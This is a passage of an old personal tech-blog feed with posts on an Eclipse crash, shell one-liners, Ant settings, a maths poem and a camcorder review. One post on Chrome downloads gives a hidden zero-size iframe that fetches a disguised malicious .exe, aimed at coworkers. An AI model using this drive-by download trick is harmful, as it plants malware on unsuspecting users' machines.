/&gt;Conclusion:&lt;br /&gt;                    1. Programming Lazy is good&lt;br /&gt;                    2. A good developer is  smarter than a good QA. No offenses but i mean it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828130103564874004-2864937369151717516?l=thechronicles-archit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thechronicles-archit.blogspot.com/feeds/2864937369151717516/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thechronicles-archit.blogspot.com/2008/12/query-to-end-all-queries-rather-doubts.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/2864937369151717516?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/2864937369151717516?v=2'/><link rel='alternate' type='text/html' href='http://thechronicles-archit.blogspot.com/2008/12/query-to-end-all-queries-rather-doubts.html' title='A query to end all queries (rather doubts)'/><author><name>Archit</name><uri>http://www.blogger.com/profile/12154496247265521997</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;CUYGQ3ozcCp7ImA9WhdSGUs.&quot;'><id>tag:blogger.com,1999:blog-5828130103564874004.post-4432687427867681907</id><published>2008-11-12T02:36:00.000-08:00</published><updated>2011-07-29T11:12:02.488-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2011-07-29T11:12:02.488-07:00</app:edited><category scheme='http://www.blogger.com/atom/ns#' term='chrome'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><title>Is Chrome safe to browse?</title><content type='html'>Because of my love for Google, i downloaded Google chrome browser and have been religiously using it for what it is meant for..browsing (eh..too melodramatic..excuse me i have a family holiday hangover and my family RSS feed had all melodramatic tv soaps)&lt;br /&gt;&lt;br /&gt;While browsing on chrome i found out that with downloads i did not get an alert for downloading a file. Holy lord!!! Now imagine what i can do with this. At my work place i can host a local http server with a malicious servlet that downloads a virus or some dark-shit-n-crap. I can jazz this servlet to disguise my virus downloader as some interesting online game. If i send this link to my team members, i can freak into their machines..IF they are using google chrome..n like me all are using Google chrome just for the heck of it. &lt;br /&gt;&lt;br /&gt;Now here is how-to for this. If you follow the above procedure only thing the servlet should have is &lt;br /&gt;&lt;br /&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; &amp;lt;iframe src="http://my.holy.disguised.server/bomb-ur-machine-file.exe" frameborder="0" width="0" height="0"&amp;gt;  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Once the servlet opens on google chrome, you surrender your machine to me.&lt;br /&gt;&lt;br /&gt;I have stopped using chrome for now but i encourage people to use it. Else where the hell am i going to use these tricks (where's the devil's smiley damn it??).&lt;br /&gt;&lt;br /&gt;For info on how to do this cheap trick, mail me at archit.pandey@gmail.com. Will be happy to help.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828130103564874004-4432687427867681907?l=thechronicles-archit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thechronicles-archit.blogspot.com/feeds/4432687427867681907/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thechronicles-archit.blogspot.com/2008/11/is-chrome-safe-to-browse.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/4432687427867681907?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/4432687427867681907?v=2'/><link rel='alternate' type='text/html' href='http://thechronicles-archit.blogspot.com/2008/11/is-chrome-safe-to-browse.html' title='Is Chrome safe to browse?'/><author><name>Archit</name><uri>http://www.blogger.com/profile/12154496247265521997</uri><email>noreply@blogger.com</email></author><thr:total>2</thr:total></entry><entry gd:etag='W/&quot;C0cNSX05eip7ImA9WxRXFUs.&quot;'><id>tag:blogger.com,1999:blog-5828130103564874004.post-4811374921448297220</id><published>2008-10-20T20:39:00.000-07:00</published><updated>2008-10-20T20:51:38.322-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2008-10-20T20:51:38.322-07:00</app:edited><category scheme='http://www.blogger.com/atom/ns#' term='Geek'/><title>Is it Love for maths or Maths for love</title><content type='html'>People, Geeks are the future; they are coming to get...everything... Intelligent, exquisite nerd-ish charisma and i heard some of them can fly too. Brethren, together we rule the future.&lt;br /&gt;&lt;br /&gt;This one's one of the poems i like from the movie harold and kumar. A true combination of mathematician and poet. &lt;br /&gt;And people say geeks are not romantic...huh!!!&lt;br /&gt;&lt;br /&gt;I’m sure that I will always be&lt;br /&gt;A lonely number like root three&lt;br /&gt;&lt;br /&gt;The three is all that’s good and right,&lt;br /&gt;Why must my three keep out of sight&lt;br /&gt;Beneath the vicious square root sign,&lt;br /&gt;I wish instead I were a nine&lt;br /&gt;&lt;br /&gt;For nine could thwart this evil trick,&lt;br /&gt;with just some quick arithmetic&lt;br /&gt;&lt;br /&gt;I know I’ll never see the sun, as 1.7321&lt;br /&gt;Such is my reality, a sad irrationality&lt;br /&gt;&lt;br /&gt;When hark! What is this I see,&lt;br /&gt;Another square root of a three&lt;br /&gt;&lt;br /&gt;As quietly co-waltzing by,&lt;br /&gt;Together now we multiply&lt;br /&gt;To form a number we prefer,&lt;br /&gt;Rejoicing as an integer&lt;br /&gt;&lt;br /&gt;We break free from our mortal bonds&lt;br /&gt;With the wave of magic wands&lt;br /&gt;&lt;br /&gt;Our square root signs become unglued&lt;br /&gt;Your love for me has been renewed&lt;br /&gt;&lt;br /&gt;Any more doubts people?&lt;br /&gt;&lt;br /&gt;Me just an aficionado of the geek race. I bow down to "The Lords of the Future"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828130103564874004-4811374921448297220?l=thechronicles-archit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thechronicles-archit.blogspot.com/feeds/4811374921448297220/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thechronicles-archit.blogspot.com/2008/10/is-it-love-for-maths-or-maths-for-love.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/4811374921448297220?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/4811374921448297220?v=2'/><link rel='alternate' type='text/html' href='http://thechronicles-archit.blogspot.com/2008/10/is-it-love-for-maths-or-maths-for-love.html' title='Is it Love for maths or Maths for love'/><author><name>Archit</name><uri>http://www.blogger.com/profile/12154496247265521997</uri><email>noreply@blogger.com</email></author><thr:total>1</thr:total></entry><entry gd:etag='W/&quot;CkMMRngzfCp7ImA9WhdaE0o.&quot;'><id>tag:blogger.com,1999:blog-5828130103564874004.post-7355479051802459573</id><published>2008-10-07T10:59:00.000-07:00</published><updated>2011-10-23T04:48:07.684-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2011-10-23T04:48:07.684-07:00</app:edited><category scheme='http://www.blogger.com/atom/ns#' term='eclipse'/><title>Eclipse crash</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
One fine day Eclipse on my laptop, started playing the bitch. I failed to start. I got the following in the %eclipse_workspace%\.metadata\.log file. I Googled to see if i have company and found a few solutions. I found &lt;a href="http://tapestryjava.blogspot.com/2004/10/worst-eclipse-crash-ever.html"&gt;this &lt;/a&gt; blog but it did not help me much as i had no ".snap" files created at the location mentioned in the blog.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;iframe frameborder="0" marginheight="0" marginwidth="0" scrolling="no" src="http://rcm.amazon.com/e/cm?t=httpthechroni-20&amp;amp;o=1&amp;amp;p=8&amp;amp;l=as1&amp;amp;asins=1933988134&amp;amp;fc1=000000&amp;amp;IS2=1&amp;amp;lt1=_blank&amp;amp;m=amazon&amp;amp;lc1=0000FF&amp;amp;bc1=000000&amp;amp;bg1=FFFFFF&amp;amp;f=ifr" style="height: 240px; width: 120px;"&gt;&lt;/iframe&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Below is the trace.&lt;br /&gt;
&lt;br /&gt;
&lt;pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt; !ENTRY org.eclipse.osgi 4 0 2008-10-07 18:16:54.249  
 !MESSAGE An error occurred while automatically activating bundle org.eclipse.core.resources (63).  
 !STACK 0  
 org.osgi.framework.BundleException: Exception in org.eclipse.core.internal.compatibility.PluginActivator.start() of bundle org.eclipse.core.resources.  
  at org.eclipse.osgi.framework.internal.core.BundleContextImpl.startActivator(BundleContextImpl.java:1010)  
  at org.eclipse.osgi.framework.internal.core.BundleContextImpl.start(BundleContextImpl.java:966)  
  at org.eclipse.osgi.framework.internal.core.BundleHost.startWorker(BundleHost.java:317)  
  at org.eclipse.osgi.framework.internal.core.AbstractBundle.start(AbstractBundle.java:256)  
  at org.eclipse.core.runtime.internal.adaptor.EclipseLazyStarter.preFindLocalClass(EclipseLazyStarter.java:86)  
  at org.eclipse.osgi.baseadaptor.loader.ClasspathManager.findLocalClass(ClasspathManager.java:409)  
  at org.eclipse.osgi.internal.baseadaptor.DefaultClassLoader.findLocalClass(DefaultClassLoader.java:188)  
  at org.eclipse.osgi.framework.internal.core.BundleLoader.findLocalClass(BundleLoader.java:334)  
  at org.eclipse.osgi.framework.internal.core.SingleSourcePackage.loadClass(SingleSourcePackage.java:37)  
  at org.eclipse.osgi.framework.internal.core.BundleLoader.findClass(BundleLoader.java:383)  
  at org.eclipse.osgi.framework.internal.core.BundleLoader.findClass(BundleLoader.java:347)  
  at org.eclipse.osgi.internal.baseadaptor.DefaultClassLoader.loadClass(DefaultClassLoader.java:83)  
  at java.lang.ClassLoader.loadClass(ClassLoader.java:251)  
  at java.lang.ClassLoader.loadClassInternal(ClassLoader.java:319)  
  at org.eclipse.ui.internal.ide.IDEApplication.run(IDEApplication.java:96)  
  at org.eclipse.core.internal.runtime.PlatformActivator$1.run(PlatformActivator.java:78)  
  at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.runApplication(EclipseAppLauncher.java:92)  
  at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.start(EclipseAppLauncher.java:68)  
  at org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:400)  
  at org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:177)  
  at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)  
  at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)  
  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)  
  at java.lang.reflect.Method.invoke(Method.java:585)  
  at org.eclipse.core.launcher.Main.invokeFramework(Main.java:336)  
  at org.eclipse.core.launcher.Main.basicRun(Main.java:280)  
  at org.eclipse.core.launcher.Main.run(Main.java:977)  
  at org.eclipse.core.launcher.Main.main(Main.java:952)  
 Caused by: org.eclipse.core.internal.resources.ResourceException: Problems reading workspace tree.  
  at org.eclipse.core.internal.resources.WorkspaceTreeReader_1.readTree(WorkspaceTreeReader_1.java:166)  
  at org.eclipse.core.internal.resources.SaveManager.restoreTree(SaveManager.java:889)  
  at org.eclipse.core.internal.resources.SaveManager.restore(SaveManager.java:621)  
  at org.eclipse.core.internal.resources.SaveManager.startup(SaveManager.java:1299)  
  at org.eclipse.core.internal.resources.Workspace.startup(Workspace.java:1883)  
  at org.eclipse.core.internal.resources.Workspace.open(Workspace.java:1653)  
  at org.eclipse.core.resources.ResourcesPlugin.startup(ResourcesPlugin.java:367)  
  at org.eclipse.core.internal.compatibility.PluginActivator.start(PluginActivator.java:31)  
  at org.eclipse.osgi.framework.internal.core.BundleContextImpl$2.run(BundleContextImpl.java:991)  
  at java.security.AccessController.doPrivileged(Native Method)  
  at org.eclipse.osgi.framework.internal.core.BundleContextImpl.startActivator(BundleContextImpl.java:985)  
  ... 27 more  
 Root exception:  
 org.eclipse.core.internal.resources.ResourceException(null)[567]: java.io.IOException: Unknown format.  
  at org.eclipse.core.internal.watson.ElementTreeReader.getReader(ElementTreeReader.java:75)  
  at org.eclipse.core.internal.watson.ElementTreeReader.readDelta(ElementTreeReader.java:84)  
  at org.eclipse.core.internal.watson.ElementTreeReaderImpl_1.readDeltaChain(ElementTreeReaderImpl_1.java:88)  
  at org.eclipse.core.internal.watson.ElementTreeReader.readDeltaChain(ElementTreeReader.java:96)  
  at org.eclipse.core.internal.resources.WorkspaceTreeReader_1.readTrees(WorkspaceTreeReader_1.java:221)  
  at org.eclipse.core.internal.resources.WorkspaceTreeReader_1.readTree(WorkspaceTreeReader_1.java:160)  
  at org.eclipse.core.internal.resources.SaveManager.restoreTree(SaveManager.java:889)  
  at org.eclipse.core.internal.resources.SaveManager.restore(SaveManager.java:621)  
  at org.eclipse.core.internal.resources.SaveManager.startup(SaveManager.java:1299)  
  at org.eclipse.core.internal.resources.Workspace.startup(Workspace.java:1883)  
  at org.eclipse.core.internal.resources.Workspace.open(Workspace.java:1653)  
  at org.eclipse.core.resources.ResourcesPlugin.startup(ResourcesPlugin.java:367)  
  at org.eclipse.core.internal.compatibility.PluginActivator.start(PluginActivator.java:31)  
  at org.eclipse.osgi.framework.internal.core.BundleContextImpl$2.run(BundleContextImpl.java:991)  
  at java.security.AccessController.doPrivileged(Native Method)  
  at org.eclipse.osgi.framework.internal.core.BundleContextImpl.startActivator(BundleContextImpl.java:985)  
  at org.eclipse.osgi.framework.internal.core.BundleContextImpl.start(BundleContextImpl.java:966)  
  at org.eclipse.osgi.framework.internal.core.BundleHost.startWorker(BundleHost.java:317)  
  at org.eclipse.osgi.framework.internal.core.AbstractBundle.start(AbstractBundle.java:256)  
  at org.eclipse.core.runtime.internal.adaptor.EclipseLazyStarter.preFindLocalClass(EclipseLazyStarter.java:86)  
  at org.eclipse.osgi.baseadaptor.loader.ClasspathManager.findLocalClass(ClasspathManager.java:409)  
  at org.eclipse.osgi.internal.baseadaptor.DefaultClassLoader.findLocalClass(DefaultClassLoader.java:188)  
  at org.eclipse.osgi.framework.internal.core.BundleLoader.findLocalClass(BundleLoader.java:334)  
  at org.eclipse.osgi.framework.internal.core.SingleSourcePackage.loadClass(SingleSourcePackage.java:37)  
  at org.eclipse.osgi.framework.internal.core.BundleLoader.findClass(BundleLoader.java:383)  
  at org.eclipse.osgi.framework.internal.core.BundleLoader.findClass(BundleLoader.java:347)  
  at org.eclipse.osgi.internal.baseadaptor.DefaultClassLoader.loadClass(DefaultClassLoader.java:83)  
  at java.lang.ClassLoader.loadClass(ClassLoader.java:251)  
  at java.lang.ClassLoader.loadClassInternal(ClassLoader.java:319)  
  at org.eclipse.ui.internal.ide.IDEApplication.run(IDEApplication.java:96)  
  at org.eclipse.core.internal.runtime.PlatformActivator$1.run(PlatformActivator.java:78)  
  at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.runApplication(EclipseAppLauncher.java:92)  
  at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.start(EclipseAppLauncher.java:68)  
  at org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:400)  
  at org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:177)  
  at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)  
  at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)  
  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)  
  at java.lang.reflect.Method.invoke(Method.java:585)  
  at org.eclipse.core.launcher.Main.invokeFramework(Main.java:336)  
  at org.eclipse.core.launcher.Main.basicRun(Main.java:280)  
  at org.eclipse.core.launcher.Main.run(Main.java:977)  
  at org.eclipse.core.launcher.Main.main(Main.java:952)  
 !ENTRY org.eclipse.osgi 4 0 2008-10-07 18:16:54.264  
 !MESSAGE Application error  
 !STACK 1  
 java.lang.NoClassDefFoundError: org/eclipse/core/resources/IContainer  
  at org.eclipse.ui.internal.ide.IDEApplication.run(IDEApplication.java:96)  
  at org.eclipse.core.internal.runtime.PlatformActivator$1.run(PlatformActivator.java:78)  
  at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.runApplication(EclipseAppLauncher.java:92)  
  at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.start(EclipseAppLauncher.java:68)  
  at org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:400)  
  at org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:177)  
  at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)  
  at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)  
  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)  
  at java.lang.reflect.Method.invoke(Method.java:585)  
  at org.eclipse.core.launcher.Main.invokeFramework(Main.java:336)  
  at org.eclipse.core.launcher.Main.basicRun(Main.java:280)  
  at org.eclipse.core.launcher.Main.run(Main.java:977)  
  at org.eclipse.core.launcher.Main.main(Main.java:952)  &lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
After about 30-45 minutes of heat n trials i found out there was a file in %eclipse_workspace%\.metadata\.plugins\org.eclipse.core.resources\.root by extension ".tree". I removed it and it i could restart eclipse. Though all projects in my workspace got deleted. I tried eclipse workspace re-builder &lt;a href="http://www.eclipse.org/eclipse/platform-core/downloads.html"&gt;here&lt;/a&gt; but it did not work.&lt;br /&gt;
&lt;br /&gt;
I had to re-create all my projects. I have eclipse 3.2.1 installed.&lt;br /&gt;
&lt;br /&gt;
&lt;iframe frameborder="0" marginheight="0" marginwidth="0" scrolling="no" src="http://rcm.amazon.com/e/cm?t=httpthechroni-20&amp;amp;o=1&amp;amp;p=8&amp;amp;l=as1&amp;amp;asins=0321288157&amp;amp;fc1=000000&amp;amp;IS1=1&amp;amp;lt1=_blank&amp;amp;m=amazon&amp;amp;lc1=0000FF&amp;amp;bc1=FFFFFF&amp;amp;bg1=FFFFFF&amp;amp;f=ifr" style="height: 240px; width: 120px;"&gt;&lt;/iframe&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;iframe frameborder="0" marginheight="0" marginwidth="0" scrolling="no" src="http://rcm.amazon.com/e/cm?t=httpthechroni-20&amp;amp;o=1&amp;amp;p=8&amp;amp;l=as1&amp;amp;asins=0764574701&amp;amp;fc1=000000&amp;amp;IS1=1&amp;amp;lt1=_blank&amp;amp;m=amazon&amp;amp;lc1=0000FF&amp;amp;bc1=FFFFFF&amp;amp;bg1=FFFFFF&amp;amp;f=ifr" style="height: 240px; width: 120px;"&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828130103564874004-7355479051802459573?l=thechronicles-archit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thechronicles-archit.blogspot.com/feeds/7355479051802459573/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thechronicles-archit.blogspot.com/2008/10/eclipse-crash.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/7355479051802459573?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/7355479051802459573?v=2'/><link rel='alternate' type='text/html' href='http://thechronicles-archit.blogspot.com/2008/10/eclipse-crash.html' title='Eclipse crash'/><author><name>Archit</name><uri>http://www.blogger.com/profile/12154496247265521997</uri><email>noreply@blogger.com</email></author><thr:total>2</thr:total></entry><entry gd:etag='W/&quot;A0ECRXk7fip7ImA9WhdaFUw.&quot;'><id>tag:blogger.com,1999:blog-5828130103564874004.post-2524911057278814769</id><published>2008-10-06T14:09:00.000-07:00</published><updated>2011-10-24T22:14:24.706-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2011-10-24T22:14:24.706-07:00</app:edited><category scheme='http://www.blogger.com/atom/ns#' term='script'/><title>Everyday Shell Scripting</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
1. &lt;span style="font-weight: bold;"&gt;Say you have a very large log file and you need to find out a word Exception and the stack trace of the exception. How do i do it through a shell command&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;ANS&lt;/span&gt;: cat -nb log-file-name | grep Exception&lt;br /&gt;
This will give the log file lines with word "Exception" with line number of the file. The next you have to do is tail or head from that line ahead.&lt;br /&gt;
$&amp;gt; tail +line-number long-file-name | more&lt;br /&gt;
And you get the stack trace.&lt;br /&gt;
&lt;br /&gt;
2. &lt;b&gt;SED Ignorecase match&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;ANS&lt;/b&gt;: There is no straight way to do ignorecase match with SED. The simplest of all is&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;grep -i "from " spy.log&amp;nbsp;| cut -f5 -d'|' | sed -e'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'| sed -e's/.*FROM \([^ ]*\)\ .*/\1/g'&lt;br /&gt;
&lt;br /&gt;
So we modify to set every small case alphabet to upper case and then cod the further processing&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
3. &lt;b&gt;Rename files matching a pattern&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;ANS:&lt;/b&gt;&amp;nbsp;Use xargs to rename .sh file to .sh.backup&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ls -1t | grep "test.my*.sh" | sed -e's/\(test.my*\).sh'/\1/g' | xargs -I {} mv {}.sh {}.sh.backup&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; list files, parse name of file (sans file extension), pass the name to xargs and move it to the wanted extension.&lt;br /&gt;
&lt;br /&gt;
4. &lt;b&gt;Find out process holding a port on solaris&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;ANS: &amp;nbsp;&lt;/b&gt;For e.g. port 1225, below is the one liner -&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;for i in `ps -e|awk '{print $1}'`; do echo $i; pfiles $i 2&amp;gt;/dev/null | grep '1225'; done&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; It lists all the processes it searches and print the process which is occupying the port&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828130103564874004-2524911057278814769?l=thechronicles-archit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thechronicles-archit.blogspot.com/feeds/2524911057278814769/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thechronicles-archit.blogspot.com/2008/10/everyday-shell-scripting.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/2524911057278814769?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/2524911057278814769?v=2'/><link rel='alternate' type='text/html' href='http://thechronicles-archit.blogspot.com/2008/10/everyday-shell-scripting.html' title='Everyday Shell Scripting'/><author><name>Archit</name><uri>http://www.blogger.com/profile/12154496247265521997</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;DUYBQ3ozfSp7ImA9WxRQE08.&quot;'><id>tag:blogger.com,1999:blog-5828130103564874004.post-433802952661796698</id><published>2008-10-06T14:03:00.000-07:00</published><updated>2008-10-06T14:05:52.485-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2008-10-06T14:05:52.485-07:00</app:edited><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><category scheme='http://www.blogger.com/atom/ns#' term='ant'/><title>Daily FAQ</title><content type='html'>1. How to set JVM memory in ANT&lt;br /&gt;   From command line do &lt;br /&gt;     cmd&gt; set ANT_OPTS=-Xmx1024M (for setting to 1Gigs)&lt;br /&gt;   and then run Ant build file.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828130103564874004-433802952661796698?l=thechronicles-archit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thechronicles-archit.blogspot.com/feeds/433802952661796698/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thechronicles-archit.blogspot.com/2008/10/daily-faq.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/433802952661796698?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/433802952661796698?v=2'/><link rel='alternate' type='text/html' href='http://thechronicles-archit.blogspot.com/2008/10/daily-faq.html' title='Daily FAQ'/><author><name>Archit</name><uri>http://www.blogger.com/profile/12154496247265521997</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;AkUDR308fip7ImA9WxRQEUU.&quot;'><id>tag:blogger.com,1999:blog-5828130103564874004.post-3690503345322809832</id><published>2008-10-04T02:19:00.000-07:00</published><updated>2008-10-04T23:31:16.376-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2008-10-04T23:31:16.376-07:00</app:edited><category scheme='http://www.blogger.com/atom/ns#' term='Electronic devices'/><title>Handycam - Sony HDR-SR10E</title><content type='html'>Some time back i was looking to buy a Handycam and with a lot of research i zeroed on sony model "Sony HDR-SR10E". Though i dint buy it but i thought of putting up my hunt here on my blog.&lt;br /&gt;&lt;br /&gt;The first reason i started with Sony (and ended up with Sony) was trust. If you want to buy a photocopy machine you'll go to xerox, as simple as that. I picked up a few other cams (mentioned below) and Sony outweighed them.&lt;br /&gt;&lt;br /&gt;To start with lets look at the features, and does it affect you.&lt;br /&gt;&lt;br /&gt;1. 1920x1080 Recording : video captured in the clarity of 1920 x 1080 Full HD resolution. There are two main HD resolutions in use today by HD broadcasters and other sources: 1080i and 720p. 1080i has more lines and pixels and hence greater clarity, while 720p is a progressive scan format that makes the video smoother while in motion. This one is 1080i. BTW, there are no 1080p camcorders available till date.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.amazon.com/gp/product/B001C482DK?ie=UTF8&amp;tag=httpthechroni-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=B001C482DK"&gt;Sony HDR-SR10E 40GB Hard Drive Digital Camcorder for PAL and HD Video&lt;/a&gt;&lt;img src="http://www.assoc-amazon.com/e/ir?t=httpthechroni-20&amp;l=as2&amp;o=1&amp;a=B001C482DK" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. Recording time: Its got a 40 GB hard disk, and around 15 hours of recording. With optional recording on memory stick.&lt;br /&gt;&lt;br /&gt;3. BIONZ Image Processor : reduces noise while image capturing and improves quality&lt;br /&gt;&lt;br /&gt;4. Face recognizer: recognizes up to 8 faces and controls focus.&lt;br /&gt;&lt;br /&gt;5. Hybrid Touch Panel: 2.7 inches wide touch panel&lt;br /&gt;&lt;br /&gt;6. Film Roll Index: Videos are bookmarked. Easy browsing of video&lt;br /&gt;&lt;br /&gt;7. Automatic Lens cover: lesser pain.&lt;br /&gt;&lt;br /&gt;8. 15X Optical / 180X Digital Zoom: Digital zoom makes high zooms clearer than usual.&lt;br /&gt;&lt;br /&gt;9. Super SteadyShot Optical Image Stabilisation System: Reduces blur caused by cam vibration.&lt;br /&gt;&lt;br /&gt;10. USB2.0 pluggability&lt;br /&gt;&lt;br /&gt;11. Built-in Flash&lt;br /&gt;&lt;br /&gt;12. Handycam Station: But its somehow easier to manage without this&lt;br /&gt;&lt;br /&gt;13. Dual Recording (Movie &amp;amp; 3.0Mega Still Image Recording)&lt;br /&gt;&lt;br /&gt;14. HDMI Control (CEC): connect to HDTV though HDMI cable. To view these on a dvd player you need a blu-ray dvd burner on the computer(1080p requirement).&lt;br /&gt;&lt;br /&gt;Hope you find this interesting enuf. I have not explained Do post your comments on technical clarification if required.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828130103564874004-3690503345322809832?l=thechronicles-archit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' 